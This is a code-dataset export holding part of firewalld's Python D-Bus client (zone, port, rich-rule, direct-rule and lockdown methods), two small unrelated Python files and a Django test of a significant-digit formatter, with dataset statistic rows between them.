"richrule-removed": "RichRuleRemoved",
"interface-added": "InterfaceAdded",
"interface-removed": "InterfaceRemoved",
"zone-changed": "ZoneOfInterfaceChanged", # DEPRECATED, use zone-of-interface-changed instead
"zone-of-interface-changed": "ZoneOfInterfaceChanged",
"source-added": "SourceAdded",
"source-removed": "SourceRemoved",
"zone-of-source-changed": "ZoneOfSourceChanged",
# ipset callbacks
"ipset-entry-added": "EntryAdded",
"ipset-entry-removed": "EntryRemoved",
# direct callbacks
"direct:chain-added": "ChainAdded",
"direct:chain-removed": "ChainRemoved",
"direct:rule-added": "RuleAdded",
"direct:rule-removed": "RuleRemoved",
"direct:passthrough-added": "PassthroughAdded",
"direct:passthrough-removed": "PassthroughRemoved",
"config:direct:updated": "config:direct:Updated",
# policy callbacks
"lockdown-enabled": "LockdownEnabled",
"lockdown-disabled": "LockdownDisabled",
"lockdown-whitelist-command-added": "LockdownWhitelistCommandAdded",
"lockdown-whitelist-command-removed": "LockdownWhitelistCommandRemoved",
"lockdown-whitelist-context-added": "LockdownWhitelistContextAdded",
"lockdown-whitelist-context-removed": "LockdownWhitelistContextRemoved",
"lockdown-whitelist-uid-added": "LockdownWhitelistUidAdded",
"lockdown-whitelist-uid-removed": "LockdownWhitelistUidRemoved",
"lockdown-whitelist-user-added": "LockdownWhitelistUserAdded",
"lockdown-whitelist-user-removed": "LockdownWhitelistUserRemoved",
# firewalld.config callbacks
"config:policies:lockdown-whitelist-updated": "config:policies:LockdownWhitelistUpdated",
"config:ipset-added": "config:IPSetAdded",
"config:ipset-updated": "config:IPSetUpdated",
"config:ipset-removed": "config:IPSetRemoved",
"config:ipset-renamed": "config:IPSetRenamed",
"config:zone-added": "config:ZoneAdded",
"config:zone-updated": "config:ZoneUpdated",
"config:zone-removed": "config:ZoneRemoved",
"config:zone-renamed": "config:ZoneRenamed",
"config:service-added": "config:ServiceAdded",
"config:service-updated": "config:ServiceUpdated",
"config:service-removed": "config:ServiceRemoved",
"config:service-renamed": "config:ServiceRenamed",
"config:icmptype-added": "config:IcmpTypeAdded",
"config:icmptype-updated": "config:IcmpTypeUpdated",
"config:icmptype-removed": "config:IcmpTypeRemoved",
"config:icmptype-renamed": "config:IcmpTypeRenamed",
"config:helper-added": "config:HelperAdded",
"config:helper-updated": "config:HelperUpdated",
"config:helper-removed": "config:HelperRemoved",
"config:helper-renamed": "config:HelperRenamed",
}
# initialize variables used for connection
self._init_vars()
self.quiet = quiet
if wait > 0:
# connect in one second
GLib.timeout_add_seconds(wait, self._connection_established)
else:
self._connection_established()
@handle_exceptions
def _init_vars(self):
self.fw = None
self.fw_ipset = None
self.fw_zone = None
self.fw_helper = None
self.fw_direct = None
self.fw_properties = None
self._config = None
self.connected = False
@handle_exceptions
def getExceptionHandler(self):
return exception_handler
@handle_exceptions
def setExceptionHandler(self, handler):
global exception_handler
exception_handler = handler
@handle_exceptions
def getNotAuthorizedLoop(self):
return not_authorized_loop
@handle_exceptions
def setNotAuthorizedLoop(self, enable):
global not_authorized_loop
not_authorized_loop = enable
@handle_exceptions
def connect(self, name, callback, *args):
if name in self._callbacks:
self._callback[self._callbacks[name]] = (callback, args)
else:
raise ValueError("Unknown callback name '%s'" % name)
@handle_exceptions
def _dbus_connection_changed(self, name, old_owner, new_owner):
if name != config.dbus.DBUS_INTERFACE:
return
if new_owner:
# connection established
self._connection_established()
else:
# connection lost
self._connection_lost()
@handle_exceptions
def _connection_established(self):
try:
self.dbus_obj = self.bus.get_object(config.dbus.DBUS_INTERFACE,
config.dbus.DBUS_PATH)
self.fw = dbus.Interface(self.dbus_obj,
dbus_interface=config.dbus.DBUS_INTERFACE)
self.fw_ipset = dbus.Interface(
self.dbus_obj, dbus_interface=config.dbus.DBUS_INTERFACE_IPSET)
self.fw_zone = dbus.Interface(
self.dbus_obj,
dbus_interface=config.dbus.DBUS_INTERFACE_ZONE)
self.fw_direct = dbus.Interface(
self.dbus_obj, dbus_interface=config.dbus.DBUS_INTERFACE_DIRECT)
self.fw_policies = dbus.Interface(
self.dbus_obj,
dbus_interface=config.dbus.DBUS_INTERFACE_POLICIES)
self.fw_properties = dbus.Interface(
self.dbus_obj, dbus_interface='org.freedesktop.DBus.Properties')
except dbus.exceptions.DBusException as e:
# ignore dbus errors
if not self.quiet:
print ("DBusException", e.get_dbus_message())
return
except Exception as e:
if not self.quiet:
print ("Exception", e)
return
self._config = FirewallClientConfig(self.bus)
self.connected = True
self._signal_receiver(member="connection-established",
interface=config.dbus.DBUS_INTERFACE)
self._signal_receiver(member="connection-changed",
interface=config.dbus.DBUS_INTERFACE)
@handle_exceptions
def _connection_lost(self):
self._init_vars()
self._signal_receiver(member="connection-lost",
interface=config.dbus.DBUS_INTERFACE)
self._signal_receiver(member="connection-changed",
interface=config.dbus.DBUS_INTERFACE)
@handle_exceptions
def _signal_receiver(self, *args, **kwargs):
if "member" not in kwargs or "interface" not in kwargs:
return
signal = kwargs["member"]
interface = kwargs["interface"]
# config signals need special treatment
# pimp signal name
if interface.startswith(config.dbus.DBUS_INTERFACE_CONFIG_ZONE):
signal = "config:Zone" + signal
elif interface.startswith(config.dbus.DBUS_INTERFACE_CONFIG_IPSET):
signal = "config:IPSet" + signal
elif interface.startswith(config.dbus.DBUS_INTERFACE_CONFIG_SERVICE):
signal = "config:Service" + signal
elif interface.startswith(config.dbus.DBUS_INTERFACE_CONFIG_ICMPTYPE):
signal = "config:IcmpType" + signal
elif interface.startswith(config.dbus.DBUS_INTERFACE_CONFIG_HELPER):
signal = "config:Helper" + signal
elif interface == config.dbus.DBUS_INTERFACE_CONFIG:
signal = "config:" + signal
elif interface == config.dbus.DBUS_INTERFACE_CONFIG_POLICIES:
signal = "config:policies:" + signal
elif interface == config.dbus.DBUS_INTERFACE_CONFIG_DIRECT:
signal = "config:direct:" + signal
cb = None
for callback in self._callbacks:
if self._callbacks[callback] == signal and \
self._callbacks[callback] in self._callback:
cb = self._callback[self._callbacks[callback]]
if cb is None:
return
# call back with args converted to python types ...
cb_args = [ dbus_to_python(arg) for arg in args ]
try:
if cb[1]:
# add call data
cb_args.extend(cb[1])
# call back
cb[0](*cb_args)
except Exception as msg:
print(msg)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def config(self):
return self._config
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def reload(self):
self.fw.reload()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def complete_reload(self):
self.fw.completeReload()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def runtimeToPermanent(self):
self.fw.runtimeToPermanent()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def checkPermanentConfig(self):
self.fw.checkPermanentConfig()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def get_property(self, prop):
return dbus_to_python(self.fw_properties.Get(
config.dbus.DBUS_INTERFACE, prop))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def get_properties(self):
return dbus_to_python(self.fw_properties.GetAll(
config.dbus.DBUS_INTERFACE))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def set_property(self, prop, value):
self.fw_properties.Set(config.dbus.DBUS_INTERFACE, prop, value)
# panic mode
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def enablePanicMode(self):
self.fw.enablePanicMode()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def disablePanicMode(self):
self.fw.disablePanicMode()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryPanicMode(self):
return dbus_to_python(self.fw.queryPanicMode())
# list functions
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getZoneSettings(self, zone):
return FirewallClientZoneSettings(list(dbus_to_python(\
self.fw.getZoneSettings(zone))))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getIPSets(self):
return dbus_to_python(self.fw_ipset.getIPSets())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getIPSetSettings(self, ipset):
return FirewallClientIPSetSettings(list(dbus_to_python(\
self.fw_ipset.getIPSetSettings(ipset))))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addEntry(self, ipset, entry):
self.fw_ipset.addEntry(ipset, entry)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getEntries(self, ipset):
return self.fw_ipset.getEntries(ipset)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setEntries(self, ipset, entries):
return self.fw_ipset.setEntries(ipset, entries)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeEntry(self, ipset, entry):
self.fw_ipset.removeEntry(ipset, entry)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryEntry(self, ipset, entry):
return dbus_to_python(self.fw_ipset.queryEntry(ipset, entry))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def listServices(self):
return dbus_to_python(self.fw.listServices())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getServiceSettings(self, service):
return FirewallClientServiceSettings(list(dbus_to_python(\
self.fw.getServiceSettings(service))))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def listIcmpTypes(self):
return dbus_to_python(self.fw.listIcmpTypes())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getIcmpTypeSettings(self, icmptype):
return FirewallClientIcmpTypeSettings(list(dbus_to_python(\
self.fw.getIcmpTypeSettings(icmptype))))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getHelpers(self):
return dbus_to_python(self.fw.getHelpers())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getHelperSettings(self, helper):
return FirewallClientHelperSettings(list(dbus_to_python(\
self.fw.getHelperSettings(helper))))
# automatic helper setting
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getAutomaticHelpers(self):
return dbus_to_python(self.fw.getAutomaticHelpers())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setAutomaticHelpers(self, value):
self.fw.setAutomaticHelpers(value)
# log denied
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getLogDenied(self):
return dbus_to_python(self.fw.getLogDenied())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setLogDenied(self, value):
self.fw.setLogDenied(value)
# default zone
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getDefaultZone(self):
return dbus_to_python(self.fw.getDefaultZone())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def setDefaultZone(self, zone):
self.fw.setDefaultZone(zone)
# zone
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getZones(self):
return dbus_to_python(self.fw_zone.getZones())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getActiveZones(self):
return dbus_to_python(self.fw_zone.getActiveZones())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getZoneOfInterface(self, interface):
return dbus_to_python(self.fw_zone.getZoneOfInterface(interface))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getZoneOfSource(self, source):
return dbus_to_python(self.fw_zone.getZoneOfSource(source))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def isImmutable(self, zone):
return dbus_to_python(self.fw_zone.isImmutable(zone))
# interfaces
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addInterface(self, zone, interface):
return dbus_to_python(self.fw_zone.addInterface(zone, interface))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def changeZone(self, zone, interface): # DEPRECATED
return dbus_to_python(self.fw_zone.changeZone(zone, interface))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def changeZoneOfInterface(self, zone, interface):
return dbus_to_python(self.fw_zone.changeZoneOfInterface(zone,
interface))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getInterfaces(self, zone):
return dbus_to_python(self.fw_zone.getInterfaces(zone))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryInterface(self, zone, interface):
return dbus_to_python(self.fw_zone.queryInterface(zone, interface))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeInterface(self, zone, interface):
return dbus_to_python(self.fw_zone.removeInterface(zone, interface))
# sources
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addSource(self, zone, source):
return dbus_to_python(self.fw_zone.addSource(zone, source))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def changeZoneOfSource(self, zone, source):
return dbus_to_python(self.fw_zone.changeZoneOfSource(zone, source))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getSources(self, zone):
return dbus_to_python(self.fw_zone.getSources(zone))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def querySource(self, zone, source):
return dbus_to_python(self.fw_zone.querySource(zone, source))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeSource(self, zone, source):
return dbus_to_python(self.fw_zone.removeSource(zone, source))
# rich rules
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addRichRule(self, zone, rule, timeout=0):
return dbus_to_python(self.fw_zone.addRichRule(zone, rule, timeout))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getRichRules(self, zone):
return dbus_to_python(self.fw_zone.getRichRules(zone))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryRichRule(self, zone, rule):
return dbus_to_python(self.fw_zone.queryRichRule(zone, rule))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeRichRule(self, zone, rule):
return dbus_to_python(self.fw_zone.removeRichRule(zone, rule))
# services
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addService(self, zone, service, timeout=0):
return dbus_to_python(self.fw_zone.addService(zone, service, timeout))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getServices(self, zone):
return dbus_to_python(self.fw_zone.getServices(zone))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryService(self, zone, service):
return dbus_to_python(self.fw_zone.queryService(zone, service))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeService(self, zone, service):
return dbus_to_python(self.fw_zone.removeService(zone, service))
# ports
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addPort(self, zone, port, protocol, timeout=0):
return dbus_to_python(self.fw_zone.addPort(zone, port, protocol, timeout))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getPorts(self, zone):
return dbus_to_python(self.fw_zone.getPorts(zone))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryPort(self, zone, port, protocol):
return dbus_to_python(self.fw_zone.queryPort(zone, port, protocol))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removePort(self, zone, port, protocol):
return dbus_to_python(self.fw_zone.removePort(zone, port, protocol))
# protocols
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addProtocol(self, zone, protocol, timeout=0):
return dbus_to_python(self.fw_zone.addProtocol(zone, protocol, timeout))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getProtocols(self, zone):
return dbus_to_python(self.fw_zone.getProtocols(zone))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryProtocol(self, zone, protocol):
return dbus_to_python(self.fw_zone.queryProtocol(zone, protocol))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeProtocol(self, zone, protocol):
return dbus_to_python(self.fw_zone.removeProtocol(zone, protocol))
# masquerade
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addMasquerade(self, zone, timeout=0):
return dbus_to_python(self.fw_zone.addMasquerade(zone, timeout))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryMasquerade(self, zone):
return dbus_to_python(self.fw_zone.queryMasquerade(zone))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeMasquerade(self, zone):
return dbus_to_python(self.fw_zone.removeMasquerade(zone))
# forward ports
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addForwardPort(self, zone, port, protocol, toport, toaddr,
timeout=0):
if toport is None:
toport = ""
if toaddr is None:
toaddr = ""
return dbus_to_python(self.fw_zone.addForwardPort(zone, port, protocol,
toport, toaddr,
timeout))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getForwardPorts(self, zone):
return dbus_to_python(self.fw_zone.getForwardPorts(zone))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryForwardPort(self, zone, port, protocol, toport, toaddr):
if toport is None:
toport = ""
if toaddr is None:
toaddr = ""
return dbus_to_python(self.fw_zone.queryForwardPort(zone,
port, protocol,
toport, toaddr))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeForwardPort(self, zone, port, protocol, toport, toaddr):
if toport is None:
toport = ""
if toaddr is None:
toaddr = ""
return dbus_to_python(self.fw_zone.removeForwardPort(zone,
port, protocol,
toport, toaddr))
# source ports
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addSourcePort(self, zone, port, protocol, timeout=0):
return dbus_to_python(self.fw_zone.addSourcePort(zone, port, protocol,
timeout))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getSourcePorts(self, zone):
return dbus_to_python(self.fw_zone.getSourcePorts(zone))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def querySourcePort(self, zone, port, protocol):
return dbus_to_python(self.fw_zone.querySourcePort(zone, port, protocol))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeSourcePort(self, zone, port, protocol):
return dbus_to_python(self.fw_zone.removeSourcePort(zone, port,
protocol))
# icmpblock
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addIcmpBlock(self, zone, icmp, timeout=0):
return dbus_to_python(self.fw_zone.addIcmpBlock(zone, icmp, timeout))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getIcmpBlocks(self, zone):
return dbus_to_python(self.fw_zone.getIcmpBlocks(zone))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryIcmpBlock(self, zone, icmp):
return dbus_to_python(self.fw_zone.queryIcmpBlock(zone, icmp))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeIcmpBlock(self, zone, icmp):
return dbus_to_python(self.fw_zone.removeIcmpBlock(zone, icmp))
# icmp block inversion
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addIcmpBlockInversion(self, zone):
return dbus_to_python(self.fw_zone.addIcmpBlockInversion(zone))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryIcmpBlockInversion(self, zone):
return dbus_to_python(self.fw_zone.queryIcmpBlockInversion(zone))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeIcmpBlockInversion(self, zone):
return dbus_to_python(self.fw_zone.removeIcmpBlockInversion(zone))
# direct chain
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addChain(self, ipv, table, chain):
self.fw_direct.addChain(ipv, table, chain)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeChain(self, ipv, table, chain):
self.fw_direct.removeChain(ipv, table, chain)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryChain(self, ipv, table, chain):
return dbus_to_python(self.fw_direct.queryChain(ipv, table, chain))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getChains(self, ipv, table):
return dbus_to_python(self.fw_direct.getChains(ipv, table))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getAllChains(self):
return dbus_to_python(self.fw_direct.getAllChains())
# direct rule
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addRule(self, ipv, table, chain, priority, args):
self.fw_direct.addRule(ipv, table, chain, priority, args)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeRule(self, ipv, table, chain, priority, args):
self.fw_direct.removeRule(ipv, table, chain, priority, args)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeRules(self, ipv, table, chain):
self.fw_direct.removeRules(ipv, table, chain)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryRule(self, ipv, table, chain, priority, args):
return dbus_to_python(self.fw_direct.queryRule(ipv, table, chain, priority, args))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getRules(self, ipv, table, chain):
return dbus_to_python(self.fw_direct.getRules(ipv, table, chain))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getAllRules(self):
return dbus_to_python(self.fw_direct.getAllRules())
# direct passthrough
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def passthrough(self, ipv, args):
return dbus_to_python(self.fw_direct.passthrough(ipv, args))
# tracked passthrough
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getAllPassthroughs(self):
return dbus_to_python(self.fw_direct.getAllPassthroughs())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeAllPassthroughs(self):
self.fw_direct.removeAllPassthroughs()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getPassthroughs(self, ipv):
return dbus_to_python(self.fw_direct.getPassthroughs(ipv))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addPassthrough(self, ipv, args):
self.fw_direct.addPassthrough(ipv, args)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removePassthrough(self, ipv, args):
self.fw_direct.removePassthrough(ipv, args)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryPassthrough(self, ipv, args):
return dbus_to_python(self.fw_direct.queryPassthrough(ipv, args))
# lockdown
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def enableLockdown(self):
self.fw_policies.enableLockdown()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def disableLockdown(self):
self.fw_policies.disableLockdown()
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryLockdown(self):
return dbus_to_python(self.fw_policies.queryLockdown())
# policies
# lockdown white list commands
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addLockdownWhitelistCommand(self, command):
self.fw_policies.addLockdownWhitelistCommand(command)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getLockdownWhitelistCommands(self):
return dbus_to_python(self.fw_policies.getLockdownWhitelistCommands())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryLockdownWhitelistCommand(self, command):
return dbus_to_python(self.fw_policies.queryLockdownWhitelistCommand(command))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeLockdownWhitelistCommand(self, command):
self.fw_policies.removeLockdownWhitelistCommand(command)
# lockdown white list contexts
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addLockdownWhitelistContext(self, context):
self.fw_policies.addLockdownWhitelistContext(context)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getLockdownWhitelistContexts(self):
return dbus_to_python(self.fw_policies.getLockdownWhitelistContexts())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryLockdownWhitelistContext(self, context):
return dbus_to_python(self.fw_policies.queryLockdownWhitelistContext(context))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeLockdownWhitelistContext(self, context):
self.fw_policies.removeLockdownWhitelistContext(context)
# lockdown white list uids
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addLockdownWhitelistUid(self, uid):
self.fw_policies.addLockdownWhitelistUid(uid)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getLockdownWhitelistUids(self):
return dbus_to_python(self.fw_policies.getLockdownWhitelistUids())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryLockdownWhitelistUid(self, uid):
return dbus_to_python(self.fw_policies.queryLockdownWhitelistUid(uid))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeLockdownWhitelistUid(self, uid):
self.fw_policies.removeLockdownWhitelistUid(uid)
# lockdown white list users
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def addLockdownWhitelistUser(self, user):
self.fw_policies.addLockdownWhitelistUser(user)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def getLockdownWhitelistUsers(self):
return dbus_to_python(self.fw_policies.getLockdownWhitelistUsers())
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def queryLockdownWhitelistUser(self, user):
return dbus_to_python(self.fw_policies.queryLockdownWhitelistUser(user))
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def removeLockdownWhitelistUser(self, user):
self.fw_policies.removeLockdownWhitelistUser(user)
@slip.dbus.polkit.enable_proxy
@handle_exceptions
def authorizeAll(self):
""" Authorize once for all polkit actions. """
self.fw.authorizeAll()
| 32.015493
| 105
| 0.665766
| 12,086
| 109,525
| 5.853384
| 0.052457
| 0.129368
| 0.153087
| 0.103472
| 0.796166
| 0.763796
| 0.716584
| 0.676623
| 0.596079
| 0.546902
| 0
| 0.004094
| 0.239525
| 109,525
| 3,420
| 106
| 32.024854
| 0.845265
| 0.023602
| 0
| 0.655033
| 0
| 0
| 0.035032
| 0.014459
| 0
| 0
| 0
| 0.000292
| 0
| 1
| 0.21014
| false
| 0.012491
| 0.005143
| 0.101029
| 0.331741
| 0.00147
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
1ed8fea2fed3df727c9a3461ccb8dd44819a9da4
| 230
|
py
|
Python
|
exp/aeceou/ACL2022/modules/__init__.py
|
aeceou/OpenNMT-py-Exp
|
16163b9716e50a7c5aa447b4fac08f011b265dd9
|
[
"MIT"
] | 1
|
2021-10-01T18:31:56.000Z
|
2021-10-01T18:31:56.000Z
|
exp/aeceou/ACL2022/modules/__init__.py
|
aeceou/OpenNMT-py-Exp
|
16163b9716e50a7c5aa447b4fac08f011b265dd9
|
[
"MIT"
] | null | null | null |
exp/aeceou/ACL2022/modules/__init__.py
|
aeceou/OpenNMT-py-Exp
|
16163b9716e50a7c5aa447b4fac08f011b265dd9
|
[
"MIT"
] | null | null | null |
""" Attention and normalization modules """
from exp.aeceou.ACL2022.modules.feldermodell import Feldermodell
from exp.aeceou.ACL2022.modules.embeddings import FlexibleEmbeddings
__all__ = ["Feldermodell", "FlexibleEmbeddings"]
| 38.333333
| 68
| 0.813043
| 23
| 230
| 7.956522
| 0.565217
| 0.076503
| 0.142077
| 0.218579
| 0.295082
| 0
| 0
| 0
| 0
| 0
| 0
| 0.038278
| 0.091304
| 230
| 5
| 69
| 46
| 0.837321
| 0.152174
| 0
| 0
| 0
| 0
| 0.162162
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
1edd0d016b65bf5191cdf8012aade0770d836f39
| 125
|
py
|
Python
|
03.list_names.py
|
arunkumarang/python
|
1960e285dfe2ef54d2e3ab37584bfef8b24ecca9
|
[
"Apache-2.0"
] | null | null | null |
03.list_names.py
|
arunkumarang/python
|
1960e285dfe2ef54d2e3ab37584bfef8b24ecca9
|
[
"Apache-2.0"
] | null | null | null |
03.list_names.py
|
arunkumarang/python
|
1960e285dfe2ef54d2e3ab37584bfef8b24ecca9
|
[
"Apache-2.0"
] | null | null | null |
names = ['Senthil', 'Natesh', 'Ashok', 'Rajasekar']
print(names[0])
print(names[1])
print(names[2])
print(names[3])
| 15.625
| 52
| 0.608
| 17
| 125
| 4.470588
| 0.588235
| 0.526316
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.037736
| 0.152
| 125
| 7
| 53
| 17.857143
| 0.679245
| 0
| 0
| 0
| 0
| 0
| 0.230769
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.8
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
94b35803ebc82093226f80f0ded5d652d2994c1a
| 908
|
py
|
Python
|
library/tests/test_utils.py
|
SACGF/variantgrid
|
515195e2f03a0da3a3e5f2919d8e0431babfd9c9
|
[
"RSA-MD"
] | 5
|
2021-01-14T03:34:42.000Z
|
2022-03-07T15:34:18.000Z
|
library/tests/test_utils.py
|
SACGF/variantgrid
|
515195e2f03a0da3a3e5f2919d8e0431babfd9c9
|
[
"RSA-MD"
] | 551
|
2020-10-19T00:02:38.000Z
|
2022-03-30T02:18:22.000Z
|
library/tests/test_utils.py
|
SACGF/variantgrid
|
515195e2f03a0da3a3e5f2919d8e0431babfd9c9
|
[
"RSA-MD"
] | null | null | null |
from django.test import TestCase
from library.utils import format_significant_digits
class TestUtils(TestCase):
def test_sig_digits(self):
self.assertEqual("0", format_significant_digits(0))
self.assertEqual("1", format_significant_digits(1))
self.assertEqual("10000", format_significant_digits(10000))
self.assertEqual("1.23", format_significant_digits(1.234567))
self.assertEqual("-1.23", format_significant_digits(-1.234567))
self.assertEqual("456", format_significant_digits(456.12))
self.assertEqual("1.1", format_significant_digits(1.10004))
self.assertEqual("1.11", format_significant_digits(1.114))
self.assertEqual("1.12", format_significant_digits(1.116))
self.assertEqual("0.0000015", format_significant_digits(0.00000150002))
self.assertEqual("-0.0000015", format_significant_digits(-0.00000150002))
| 45.4
| 81
| 0.730176
| 112
| 908
| 5.6875
| 0.258929
| 0.320251
| 0.433281
| 0.22606
| 0.434851
| 0.356358
| 0.356358
| 0.356358
| 0.356358
| 0.174254
| 0
| 0.133676
| 0.143172
| 908
| 19
| 82
| 47.789474
| 0.68509
| 0
| 0
| 0
| 0
| 0
| 0.053965
| 0
| 0
| 0
| 0
| 0
| 0.733333
| 1
| 0.066667
| false
| 0
| 0.133333
| 0
| 0.266667
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
